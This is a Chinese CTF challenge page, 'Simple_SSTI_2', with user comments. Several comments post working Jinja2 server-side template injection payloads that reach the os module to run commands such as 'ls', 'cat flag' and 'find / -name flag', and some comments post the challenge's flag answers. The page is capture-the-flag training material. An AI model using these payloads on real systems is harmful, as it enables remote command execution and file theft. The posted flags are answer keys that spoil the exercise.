Simple_SSTI_2WEB 未解决
分数:
10
金币:
3
题目作者:
valecalida
一 血:
Tokeii
一血奖励:
3金币
解 决:
14555
提 示:
描 述:
Simple_SSTI_2
评论
qiqiguren 15天前
举报
题解详细步骤:http://t.csdnimg.cn/yZlnn
是呆瓜蔚呀 17天前
举报
flag{f231bce175908e8fec554031a6232a55}
htttpss 24天前
举报
flag{c75b03620c73371a0e8f249354e0bd57} ?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}即可
3166235571 25天前
举报
是这个flag{561f38d2a44d42ca8847575a2e144b2b} so easy
2280443298 26天前
举报
{{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}} {{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
zhenbuhuiweb 1月前
举报
flag{d15e0ca95ddb50b992109b24c82cfe5a}
ssln 3月前
举报
114.67.175.224:12792/?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}} 看不懂,应该是什么固定格式,修改“ls”即可执行命令
210470qq 4月前
举报
flag{43b52fa732d6f8ccbfacea9e989ac07b}
songci 4月前
举报
ssti模板注入,尝试获取OS module进行命令执行或文件读取,使用init.globals来看看有没有os module或者其他的可以读写文件的,爆破获取300存在:{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__}},进行命令执行获取flag:?flag={{""
Mirabelle 4月前
举报
?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}; ?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}